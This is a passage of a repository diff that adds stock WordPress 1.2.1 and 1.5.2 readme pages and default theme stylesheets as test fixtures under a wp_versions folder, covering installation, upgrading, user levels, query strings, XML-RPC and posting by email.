<p>Some mobile phone service providers may not allow you to set a subject, and they'll make the subject be the first characters of the body, in which case you would send an email like this:</p>
<div class="params"> <b>To:</b> address@example.com<br />
<b>Body:</b><br />
blog:the post's title <b>:::</b> login:password <b>:::</b> The content of the post, blah blah blah.___ </div>
<h1 id="notes">Notes:</h1>
<p>On multi-user:</p>
<p>New users can register with <span class="file">wp-register.php</span>. Then you (as an admin) click the "+" next to their name on the Team page in admin to upgrade their level to 1 or more, so they can post. If you don't want an user to post anymore, just click "-" until their level is 0.</p>
<p>Note: you can now disable users registration altogether from the config file.</p>
<p><strong>User Levels</strong>:</p>
<ul>
<li>0 - new user: can't post.</li>
<li>1 - user: can post &amp; edit/delete their own posts.</li>
<li>3 &amp; higher - admin: can post, edit/delete other people's posts, and change the options.</li>
<li>Any user whose level is higher than 1, can edit/delete the posts and change the level of users whose level is inferior. Example: a level 2 user is not an admin, but can edit the posts of level 1 users, and up the level of a new user from 0 to 1.</li>
</ul>
<p>Usually, you'll want to have a team of only level 1 users except you. ;)</p>
<p><strong>Note:</strong> you can modify an option on the option screens, to enable new users to post once they've registered.</p>
<p>If you don't want users to register on your blog at all, just delete wp-register.php once you've registered your user account. </p>
<h1> Final notes:</h1>
<ul>
<li>If you've got suggestions, ideas, or comments, or if you found a bug, why not joining us in the <a href="http://wordpress.org/support/">Support Forums</a>?</li>
<li>If you can code in PHP, you'll see the structure of WordPress is flexible enough to allow for more functions and sections to be added.</li>
</ul>
<h1>Copyright notes:</h1>
<ul>
<li>Wherever third party code has been used, credit has been given in the code&#8217;s comments.</li>
<li>WordPress is released under the <acronym title="GNU Public License">GPL</acronym> (see license.txt).</li>
</ul>
</body>
</html>

View File

@@ -0,0 +1,302 @@
/* Default WordPress by Dave Shea || http://mezzoblue.com
Modifications by Matthew Mullenweg || http://photomatt.net
This is just a basic layout, with only the bare minimum defined.
Please tweak this and make it your own. :)
*/
a {
color: #675;
}
a img {
border: none;
}
a:visited {
color: #342;
}
a:hover {
color: #9a8;
}
acronym, abbr {
border-bottom: 1px dashed #333;
}
acronym, abbr, span.caps {
cursor: help;
font-size: 90%;
letter-spacing: .07em;
}
blockquote {
border-left: 5px solid #ccc;
margin-left: 1.5em;
padding-left: 5px;
}
body {
background: #fff;
border: solid 2px #565;
border-bottom: solid 1px #565;
border-top: solid 3px #565;
color: #000;
font-family: 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
margin: 0;
padding: 0;
}
cite {
font-size: 90%;
font-style: normal;
}
h2 {
border-bottom: 1px dotted #ccc;
font: 95% "Times New Roman", Times, serif;
letter-spacing: 0.2em;
margin: 15px 0 2px 0;
padding-bottom: 2px;
}
h3 {
border-bottom: dotted 1px #eee;
font-family: "Times New Roman", Times, serif;
margin-top: 0;
}
ol#comments li p {
font-size: 100%;
}
p, li, .feedback {
font: 90%/175% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
letter-spacing: -1px;
}
/* classes used by the_meta() */
ul.post-meta {
list-style: none;
}
ul.post-meta span.post-meta-key {
font-weight: bold;
}
.credit {
background: #90a090;
border-top: double 3px #aba;
color: #fff;
font-size: 11px;
margin: 10px 0 0 0;
padding: 3px;
text-align: center;
}
.credit a:link, .credit a:hover {
color: #fff;
}
.feedback {
color: #ccc;
text-align: right;
}
.meta {
font-size: .75em;
}
.meta li, ul.post-meta li {
display: inline;
}
.meta ul {
display: inline;
list-style: none;
margin: 0;
padding: 0;
}
.meta, .meta a {
color: #808080;
font-weight: normal;
letter-spacing: 0;
}
.storytitle {
margin: 0;
}
.storytitle a {
text-decoration: none;
}
#commentform #name, #commentform #email, #commentform #url, #commentform textarea {
background: #fff;
border: 1px solid #333;
padding: .2em;
}
#commentform textarea {
width: 100%;
}
#commentlist li ul {
border-left: 1px solid #ddd;
font-size: 110%;
list-style-type: none;
}
#content {
margin: 30px 13em 0 3em;
padding-right: 60px;
}
#header {
background: #90a090;
border-bottom: double 3px #aba;
border-left: solid 1px #9a9;
border-right: solid 1px #565;
border-top: solid 1px #9a9;
font: italic normal 230% 'Times New Roman', Times, serif;
letter-spacing: 0.2em;
margin: 0;
padding: 15px 10px 15px 60px;
}
#header a {
color: #fff;
text-decoration: none;
}
#header a:hover {
text-decoration: underline;
}
#menu {
background: #fff;
border-left: 1px dotted #ccc;
border-top: solid 3px #e0e6e0;
padding: 20px 0 10px 30px;
position: absolute;
right: 2px;
top: 0;
width: 11em;
}
#menu form {
margin: 0 0 0 13px;
}
#menu input#s {
width: 80%;
background: #eee;
border: 1px solid #999;
color: #000;
}
#menu ul {
color: #ccc;
font-weight: bold;
list-style-type: none;
margin: 0;
padding-left: 3px;
text-transform: lowercase;
}
#menu ul li {
font: italic normal 110% 'Times New Roman', Times, serif;
letter-spacing: 0.1em;
margin-top: 10px;
padding-bottom: 2px; /*border-bottom: dotted 1px #ccc;*/
}
#menu ul ul {
font-variant: normal;
font-weight: normal;
line-height: 100%;
list-style-type: none;
margin: 0;
padding: 0;
text-align: left;
}
#menu ul ul li {
border: 0;
font: normal normal 70%/115% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
letter-spacing: 0;
margin-top: 0;
padding: 0;
padding-left: 12px;
}
#menu ul ul li a {
color: #000;
text-decoration: none;
}
#menu ul ul li a:hover {
border-bottom: 1px solid #809080;
}
#menu ul ul ul.children {
font-size: 142%;
padding-left: 4px;
}
#wp-calendar {
border: 1px solid #ddd;
empty-cells: show;
font-size: 14px;
margin: 0;
width: 90%;
}
#wp-calendar #next a {
padding-right: 10px;
text-align: right;
}
#wp-calendar #prev a {
padding-left: 10px;
text-align: left;
}
#wp-calendar a {
display: block;
text-decoration: none;
}
#wp-calendar a:hover {
background: #e0e6e0;
color: #333;
}
#wp-calendar caption {
color: #999;
font-size: 16px;
text-align: left;
}
#wp-calendar td {
color: #ccc;
font: normal 12px 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
letter-spacing: normal;
padding: 2px 0;
text-align: center;
}
#wp-calendar td.pad:hover {
background: #fff;
}
#wp-calendar td:hover, #wp-calendar #today {
background: #eee;
color: #bbb;
}
#wp-calendar th {
font-style: normal;
text-transform: capitalize;
}

160
spec/fixtures/wp_versions/1.2.1/readme.html vendored Executable file
View File

@@ -0,0 +1,160 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>WordPress &rsaquo; ReadMe</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css" media="screen">
<!--
html {
background: #eee;
}
body {
background: #fff;
color: #000;
font-family: Georgia, "Times New Roman", Times, serif;
margin-left: 25%;
margin-right: 25%;
padding: .2em 2em;
}
h1 {
color: #006;
font-size: 18px;
font-weight: lighter;
}
h2 {
font-size: 16px;
}
p, li, dt {
line-height: 140%;
padding-bottom: 2px;
}
ul, ol {
padding: 5px 5px 5px 20px;
}
-->
</style>
</head>
<body>
<h1 style="text-align: center"><img alt="WordPress" src="http://wordpress.org/images/wordpress.gif" /> <br />
Version 1.2</h1>
<p style="text-align: center"> Semantic Personal Publishing Platform </p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://wiki.wordpress.org/">The WordPress Wiki</a></dt>
<dd>A wiki is like a web page than anyone can contribute to, and the WordPress wiki documentation has grown rich from the many who have contributed to it. It is usually up-to-date and well-hyperlinked. The only downside is it can be hard to find your way around your first time. Use the search box at the top.</dd>
<dt><a href="http://wordpress.org/docs/">The official documentation</a></dt>
<dd>The documentation on wordpress.org represents the official resources we've made available. Beyond reference, this includes tutorials and guides for doing different things with WordPress. As I write this, it is a little sparse, but we're doing our best to enrich this resource so by the time you read this sentence the docs may be bursting with information. </dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often. </dd>
<dt><a href="http://faq.wordpress.net/">Frequently Asked Questions Blog </a></dt>
<dd>In addition to the FAQ on the wiki and the main website, there is a new FAQ blog that several members of the documentation team are updating. The FAQ itself is run with WordPress. </dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible. </dd>
<dt><a href="http://wiki.wordpress.org/index.php/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion amoung people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpresss) </dd>
</dl>
<h1 id="requirements">System Recomendations </h1>
<ul>
<li>PHP version <strong>4.1</strong> or higher</li>
<li>MySQL version <strong>3.23.23</strong> or higher</li>
<li>... and a link to <a href="http://wordpress.org">http://wordpress.org</a> on your site.</li>
</ul>
<p>The Apache <code>mod_rewrite</code> is required for some optional functionality. </p>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>. </p>
<h1 id="installation">Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details</li>
<li>Save the file as <code>wp-config.php</code> </li>
<li>Upload everything.</li>
<li>Launch <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather. </li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 1.2:</h2>
<ol>
<li>Upload the new files, and be careful not to overwrite anything important</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a></span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<p>If you are coming from 1.0 or greater, your existing templates should work perfectly. If you are coming from a version earlier than 1.0 you will need to modify your templates slightly. Use the default <code>index.php</code> as your guide. </p>
<h1>Upgrading from another system</h1>
<p>WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, then you can run one of the following import scripts:</p>
<ul>
<li> <a href="wp-admin/import-mt.php"> Import Movable Type </a></li>
<li><a href="wp-admin/import-rss.php">Import RSS 2.0</a></li>
<li><a href="wp-admin/import-blogger.php">Import Blogger</a></li>
<li><a href="wp-admin/import-b2.php">Import b2</a></li>
<li><a href="wp-admin/import-livejournal.php">Import LiveJournal</a></li>
<li><a href="wp-admin/import-textpattern.php">Import Textpattern</a></li>
<li><a href="wp-admin/import-greymatter.php">Import Greymatter </a></li>
</ul>
<h1 id="templates">Templates</h1>
<p>The template tags are too numerous and flexible to adequetely document here, so please see our <a href="http://wordpress.org/docs/template/">online documentation</a>. </p>
<h1>Query String Usage</h1>
<p>WordPress can be manipulated quite a bit through the query string. To pass variables in the querystring, proceed the first variable name with a '?' question mark and every other variables with a '&amp;' sign. You may never use this, but it is useful to know. </p>
<p>index.php<strong>?m=200107</strong> will display the month of July 2001.</p>
<p>index.php<strong>?m=20010701</strong> will display all posts from July 1st, 2001.</p>
<p>index.php<strong>?w=20</strong> will display the posts from the 20th week of the year, where January 1st is in the first week (according to PHP).</p>
<p>index.php<strong>?p=50</strong> will display the post labeled #50 in the database.</p>
<p>index.php<strong>?s=blue+house</strong> will display the posts that match the search request "blue house".</p>
<p>index.php<strong>?cat=1</strong> will display all posts that belong to category #1 (1 is the default). you can add/rename/delete categories from WordPress's interface.</p>
<p>index.php<strong>?author=1</strong> will display all posts from the author #1</p>
<p>index.php<strong>?p=50&amp;page=1</strong> will display the first page of post #50. this, again, should be used only with <strong>p=</strong>, for individual entries.</p>
<p>You can also mix these variables, example: index.php<strong>?m=200107&amp;s=hotdog</strong> will display the posts that match the search request "hotdog", but only in July 2001.</p>
<h1 id="xmlrpc">XML-RPC Interface</h1>
<p>WordPress has an XMLRPC interface. We currently support the <a href="http://www.blogger.com/developers/api/1_docs/">Blogger API</a>, <a href="http://www.xmlrpc.com/metaWeblogApi">metaWeblog API</a>, and the <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType API</a>. </p>
<p> The <a href="http://www.blogger.com/developers/api/1_docs/">Blogger API</a> has been completely emulated on WordPress, with some little differences:</p>
<ul>
<li>using <em>blogger.getRecentPosts</em> with the number 'zero' returns all posts in the blog</li>
<li><em>blogger.getTemplate</em> fetches your file $blogfilename (as specified in the config), while <em>blogger.setTemplate</em> overwrites it with the edited data</li>
<li><em>blogger.getUsersBlogs</em> is a dummy function that returns '1' and $blogname, since WordPress supports only one blog as of now</li>
</ul>
<p>If you use blogger.newPost, your post is submitted without title and in category #1.</p>
<p> However, you can type <code>&lt;title&gt;my title&lt;/title&gt;</code> and/or <code>&lt;category&gt;2&lt;category&gt;</code> in the body of your post to make its title be 'my title' and its category be #2 (refer to your categories section to find out the ID numbers of the categories). b2 would then delete that extra info from the body of your post once it is posted.</p>
<p>The <a href="http://www.xmlrpc.com/metaWeblogApi">metaWeblog</a> and <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType</a> APIs are currently supported with the following exceptions:</p>
<ul>
<li>metaWeblog.newMediaObject,&nbsp; mt.getRecentPostTitles,&nbsp; and mt.getTrackbackPings are not yet implemented</li>
<li>mt.supportedTextFilters is a dummy stub function that returns an empty string</li>
<li>keywords are not supported in the MovableType API</li>
</ul>
<p>Extended entries in the <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType API</a> are automatically converted to/from the WordPress <code>&lt;!--more--&gt;</code> tag.</p>
<p>You can now post to your WordPress blog with tools like <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a> (post from your Wap cellphone!), <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.zempt.com/">Zempt</a>, <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :)</p>
<p>Your XMLRPC server/path are as described here: if you login to WordPress on <code>http://example.com/me/wp-login.php</code>, then you have:</p>
<ul>
<li>Server: <code>http://example.com/</code> (some tools will just want the 'example.com' hostname part)</li>
<li>Path: <code>/me/xmlrpc.php</code></li>
<li>complete URL (just in case): <code>http://example.com/me/xmlrpc.php</code></li>
</ul>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL. </p>
<p> Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address dicrete. The script will <i>delete</i> emails that are successfully posted. </p>
<h1 id="notes">User Levels </h1>
<p>You may allow or disallow user registration in your <a href="wp-admin/options-general.php">General options</a>. If &quot;new users can blog&quot; is disabled you must first raise the level of a newly registered user to allow them to post. Click the plus sign next to their name on the <a href="wp-admin/users.php">Users</a> page. </p>
<h2>User Levels</h2>
<ul>
<li>0 - New User </li>
<li>1 - User can post, edit, and delete their own posts.</li>
<li>5+ - Admin; can post, edit, delete other people's posts, and change the options.</li>
<li>Any user whose level is higher than 1, can edit and delete the posts and change the level of lower users. Example: a level 2 user is not an admin, but can edit the posts of level 1 users, and up the level of a new user from 0 to 1.</li>
</ul>
<p>Usually you want to have a team of level 1 users except for you.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a></li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the documentation in the wiki. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Copyright</h1>
<p>WordPress is released under the <acronym title="GNU Public License">GPL</acronym> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

303
spec/fixtures/wp_versions/1.2.1/wp-layout.css vendored Executable file
View File

@@ -0,0 +1,303 @@
/* Default WordPress by Dave Shea || http://mezzoblue.com
Modifications by Matthew Mullenweg || http://photomatt.net
This is just a basic layout, with only the bare minimum defined.
Please tweak this and make it your own. :)
*/
a {
color: #675;
}
a img {
border: none;
}
a:visited {
color: #342;
}
a:hover {
color: #9a8;
}
acronym, abbr {
border-bottom: 1px dashed #333;
}
acronym, abbr, span.caps {
cursor: help;
font-size: 90%;
letter-spacing: .07em;
}
blockquote {
border-left: 5px solid #ccc;
margin-left: 1.5em;
padding-left: 5px;
}
body {
background: #fff;
border: solid 2px #565;
border-bottom: solid 1px #565;
border-top: solid 3px #565;
color: #000;
font-family: 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
margin: 0;
padding: 0;
}
cite {
font-size: 90%;
font-style: normal;
}
h2 {
border-bottom: 1px dotted #ccc;
font: 95% "Times New Roman", Times, serif;
letter-spacing: 0.2em;
margin: 15px 0 2px 0;
padding-bottom: 2px;
}
h3 {
border-bottom: dotted 1px #eee;
font-family: "Times New Roman", Times, serif;
margin-top: 0;
}
ol#comments li p {
font-size: 100%;
}
p, li, .feedback {
font: 90%/175% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
letter-spacing: -1px;
}
/* classes used by the_meta() */
ul.post-meta {
list-style: none;
}
ul.post-meta span.post-meta-key {
font-weight: bold;
}
.credit {
background: #90a090;
border-top: double 3px #aba;
color: #fff;
font-size: 11px;
margin: 10px 0 0 0;
padding: 3px;
text-align: center;
}
.credit a:link, .credit a:hover {
color: #fff;
}
.feedback {
color: #ccc;
text-align: right;
clear: all;
}
.meta {
font-size: .75em;
}
.meta li, ul.post-meta li {
display: inline;
}
.meta ul {
display: inline;
list-style: none;
margin: 0;
padding: 0;
}
.meta, .meta a {
color: #808080;
font-weight: normal;
letter-spacing: 0;
}
.storytitle {
margin: 0;
}
.storytitle a {
text-decoration: none;
}
#commentform #name, #commentform #email, #commentform #url, #commentform textarea {
background: #fff;
border: 1px solid #333;
padding: .2em;
}
#commentform textarea {
width: 100%;
}
#commentlist li ul {
border-left: 1px solid #ddd;
font-size: 110%;
list-style-type: none;
}
#content {
margin: 30px 13em 0 3em;
padding-right: 60px;
}
#header {
background: #90a090;
border-bottom: double 3px #aba;
border-left: solid 1px #9a9;
border-right: solid 1px #565;
border-top: solid 1px #9a9;
font: italic normal 230% 'Times New Roman', Times, serif;
letter-spacing: 0.2em;
margin: 0;
padding: 15px 10px 15px 60px;
}
#header a {
color: #fff;
text-decoration: none;
}
#header a:hover {
text-decoration: underline;
}
#menu {
background: #fff;
border-left: 1px dotted #ccc;
border-top: solid 3px #e0e6e0;
padding: 20px 0 10px 30px;
position: absolute;
right: 2px;
top: 0;
width: 11em;
}
#menu form {
margin: 0 0 0 13px;
}
#menu input#s {
width: 80%;
background: #eee;
border: 1px solid #999;
color: #000;
}
#menu ul {
color: #ccc;
font-weight: bold;
list-style-type: none;
margin: 0;
padding-left: 3px;
text-transform: lowercase;
}
#menu ul li {
font: italic normal 110% 'Times New Roman', Times, serif;
letter-spacing: 0.1em;
margin-top: 10px;
padding-bottom: 2px; /*border-bottom: dotted 1px #ccc;*/
}
#menu ul ul {
font-variant: normal;
font-weight: normal;
line-height: 100%;
list-style-type: none;
margin: 0;
padding: 0;
text-align: left;
}
#menu ul ul li {
border: 0;
font: normal normal 70%/115% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
letter-spacing: 0;
margin-top: 0;
padding: 0;
padding-left: 12px;
}
#menu ul ul li a {
color: #000;
text-decoration: none;
}
#menu ul ul li a:hover {
border-bottom: 1px solid #809080;
}
#menu ul ul ul.children {
font-size: 142%;
padding-left: 4px;
}
#wp-calendar {
border: 1px solid #ddd;
empty-cells: show;
font-size: 14px;
margin: 0;
width: 90%;
}
#wp-calendar #next a {
padding-right: 10px;
text-align: right;
}
#wp-calendar #prev a {
padding-left: 10px;
text-align: left;
}
#wp-calendar a {
display: block;
text-decoration: none;
}
#wp-calendar a:hover {
background: #e0e6e0;
color: #333;
}
#wp-calendar caption {
color: #999;
font-size: 16px;
text-align: left;
}
#wp-calendar td {
color: #ccc;
font: normal 12px 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
letter-spacing: normal;
padding: 2px 0;
text-align: center;
}
#wp-calendar td.pad:hover {
background: #fff;
}
#wp-calendar td:hover, #wp-calendar #today {
background: #eee;
color: #bbb;
}
#wp-calendar th {
font-style: normal;
text-transform: capitalize;
}

126
spec/fixtures/wp_versions/1.5.2/readme.html vendored Executable file
View File

@@ -0,0 +1,126 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>WordPress &rsaquo; ReadMe</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">
<!--
html {
background: #eee;
}
body {
background: #fff;
color: #000;
font-family: Georgia, "Times New Roman", Times, serif;
margin-left: 25%;
margin-right: 25%;
padding: .2em 2em;
}
h1 {
color: #006;
font-size: 18px;
font-weight: lighter;
}
h2 {
font-size: 16px;
}
p, li, dt {
line-height: 140%;
padding-bottom: 2px;
}
ul, ol {
padding: 5px 5px 5px 20px;
}
-->
</style>
</head>
<body>
<h1 style="text-align: center"><img alt="WordPress" src="http://wordpress.org/images/wordpress.gif" /> <br />
Version 1.5</h1>
<p style="text-align: center"> Semantic Personal Publishing Platform </p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg </p>
<h1 id="installation">Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details</li>
<li>Save the file as <code>wp-config.php</code> </li>
<li>Upload everything.</li>
<li>Launch <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather. </li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 1.5:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified </li>
<li>Upload the new files</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a></span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available. </dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often. </dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web. </dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible. </dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion amoung people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpresss) </dd>
</dl>
<h1 id="requirements">System Recommendations</h1>
<ul>
<li>PHP version <strong>4.1</strong> or higher</li>
<li>MySQL version <strong>3.23.23</strong> or higher</li>
<li>... and a link to <a href="http://wordpress.org">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>. </p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_from_other_blogging_software">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1 id="templates">XML-RPC Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a> (post from your Wap cellphone!), <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.zempt.com/">Zempt</a>, <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL. </p>
<p> Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address dicrete. The script will <i>delete</i> emails that are successfully posted. </p>
<h1 id="notes">User Levels </h1>
<p>You may allow or disallow user registration in your <a href="wp-admin/options-general.php">General options</a>. If &quot;new users can blog&quot; is disabled you must first raise the level of a newly registered user to allow them to post. Click the plus sign next to their name on the <a href="wp-admin/users.php">Users</a> page. </p>
<h2>User Levels</h2>
<ul>
<li>0 - New User </li>
<li>1 - User can post, edit, and delete their own posts.</li>
<li>5+ - Admin; can post, edit, delete other people's posts, and change the options.</li>
<li>Any user whose level is higher than 1, can edit and delete the posts and change the level of lower users. Example: a level 2 user is not an admin, but can edit the posts of level 1 users, and up the level of a new user from 0 to 1.</li>
</ul>
<p>Usually you want to have a team of level 1 users except for you.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a></li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,610 @@
/*
Theme Name: WordPress Default
Theme URI: http://wordpress.org/
Description: The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
Version: 1.5
Author: Michael Heilemann
Author URI: http://binarybonsai.com/
Kubrick v1.5
http://binarybonsai.com/kubrick/
This theme was designed and built by Michael Heilemann,
whose blog you will find at http://binarybonsai.com/
The CSS, XHTML and design is released under GPL:
http://www.opensource.org/licenses/gpl-license.php
*** REGARDING IMAGES ***
All CSS that involves the use of images, can be found in the 'index.php' file.
This is to ease installation inside subdirectories of a server.
Have fun, and don't be afraid to contact me if you have questions.
*/
/* Begin Typography & Colors */
body {
font-size: 62.5%; /* Resets 1em to 10px */
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
background-color: #d5d6d7;
color: #333;
text-align: center;
}
#page {
background-color: white;
border: 1px solid #959596;
text-align: left;
}
#header {
background-color: #73a0c5;
}
#content {
font-size: 1.2em
}
.widecolumn .entry p {
font-size: 1.05em;
}
.narrowcolumn .entry, .widecolumn .entry {
line-height: 1.4em;
}
.widecolumn {
line-height: 1.6em;
}
.narrowcolumn .postmetadata {
text-align: center;
}
.alt {
background-color: #f8f8f8;
border-top: 1px solid #ddd;
border-bottom: 1px solid #ddd;
}
#footer {
background-color: #eee;
}
small {
